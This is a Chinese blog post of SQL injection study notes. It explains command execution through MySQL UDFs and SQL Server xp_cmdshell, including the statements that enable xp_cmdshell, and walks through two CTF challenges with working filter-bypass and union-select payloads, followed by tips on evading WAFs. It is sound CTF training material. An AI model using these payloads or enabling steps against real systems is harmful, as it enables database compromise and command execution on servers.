zoukankan      html  css  js  c++  java
  • SQL学习

    一、命令执行,UDF(User-Defined Functions)

      MySQL中,除了可以通过webshell间接执行命令外还可以通过UDF来执行命令。此功能已经集成到Sqlmap中了。

      通过lib_mysqludf_sys提供的几个函数来执行系统命令,其中的两个重要的函数:sys_eval()和sys_exec()。函数如下:

        sys_eval,执行任意命令,并将输出返回。

        sys_exec,执行任意命令,并将退出码返回。

        sys_get,获取一个环境变量。

        sys_set,创建或修改一个环境变量。

    二、攻击存储过程:

      在SQL Server中存储过程“xp_cmdshell” 可谓是臭名昭著了,xp_cmdshell扩展存储过程讲命令字符串作为操作系统命令shell执行,并以文本的形式返回所有输出。

    使用:

    EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
    EXEC master.dbo.xp_cmdshell 'ping ' 

    分别为通过数据库master,利用xp_cmdshell 来执行cmd 和 ping。

    开启方式:

    1、使用sql语句开启

      通过查询分析器,选择Master数据库,然后执行以下SQL内容:

    sp_configure 'show advanced options',1
    reconfigure
    go
    sp_configure 'xp_cmdshell',1
    reconfigure
    go

     执行后结果:

      配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
      配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

     注:如需关闭只需将“sp_configure 'xp_cmdshell',1”改为“sp_configure 'xp_cmdshell',0”即可。

    2、SQL SERVER "外围应用配置器"开启:https://www.cnblogs.com/TBW-Superhero/p/6871982.html。

    除了xp_cmdshell外,还有一些其他的存储过程也可以利用,例如xp_regread可以操作注册表,xp_servicecontrol(允许用用户,启动、停止服务)。

    3、存储过程本身也可能存在注入漏洞,加入参数由外部传入,并且没有经过任何处理,进有可能造成注入。 

     ……………………………………………………………………………………………………………………………………………………

    下面我们来做一到题:

    简单的sql注入:http://ctf5.shiyanbar.com/423/web/

     进入链接,看题目:

    题目是sql注入,我们来试一下:输入一个1,看效果:

    显示是正常的,在输入1',看效果:

     

     说明'是可以影响SQL语句的,并没有被过滤掉,继续我们来试一试id=1' or ''=',发现空格和or关键字都没有被过滤,

    再来看看and关键字,令id=1' and 1=1or ''=',发现报错,讲and换成大写也不行,被过滤了。

     

    来绕过,尝试(),/**/,/*!*/等方法绕过,发现/*!关键字*/的方法是可以绕过的:

    那好了,现在可以使用关键字了,下面我们来猜测表名:

    id=' or /*!exists*/ (/*!select*/ * /*!from*/ admin)/*!and*/ ''='【id=' or exists (select * from admin) and ''='】

     

    说admin不存在,那我们换一个表名flag:id=' or /*!exists*/ (/*!select*/ * /*!from*/ flag)/*!and*/ ''=',

    (也可以使用这个:id= ' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ '1'='1)成功了!

    EXISTS表示存在量词:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,只返回逻辑值“True”或“False”。

     

    猜测列名id和name,都是存在的:

    联合查询看列数:id = ' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''='

    构造id= ' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ''=' ,看效果

    显示出了flag,这道题主要思路就是绕过过滤和猜测表名。

    来看第二道题:http://ctf5.shiyanbar.com/web/index_2.php

    有了上一题的经验,我们先检测看这个到底过滤了什么:

    分别输入'和' 可以判断空格是被过滤了的,我们可以知道,可以使用%0a %0d %09 %0b /**/ /*!*/ /*!50000*/来代替空格,这里我们选用/**/。

    然后尝试or和and关键字以及union看看是否被过滤,发现都可以正常使用,甚至#都可以正常使用,简直神奇;于是构造:

    id='/**/and/**/0=1/**/union/**/select/**/flag/**/from/**/flag#

     

     小结:

    tip1:在Mysql中构造sql注入时,where后面的单引号完全可以直接使用''=''来闭合,表示永真,而不一定需要'1'='1'这种格式。

    tip 2:当关键字被过滤掉的时候,可以使用/**/或者/*!*/括起来的方式来绕过检测过滤

    tip 3:常用来绕过WAF或过滤函数以代替空格的字符有这些:%0a %0d %09 %0b /**/ /*!*/ /*!50000*/以及()

    tip 4:在get型注入中,如果or被过滤,则可以使用|代替,如 ...where search=''|'1';

  • 相关阅读:
    [LeetCode] 88. Merge Sorted Array
    [LeetCode] 73. Set Matrix Zeroes
    [LeetCode] 70. Climbing Stairs(斐波那契数列)
    [LeetCode] 65. Valid Number(多个标志位)
    [LeetCode] 57.Insert Interval
    [CCF] 201612-2 工资计算
    手脱Aspack变形壳1
    手脱FSG v1.33
    手脱PEncrypt 4.0
    手脱JDPack
  • 原文地址:https://www.cnblogs.com/Yable/p/8410007.html
Copyright © 2011-2022 走看看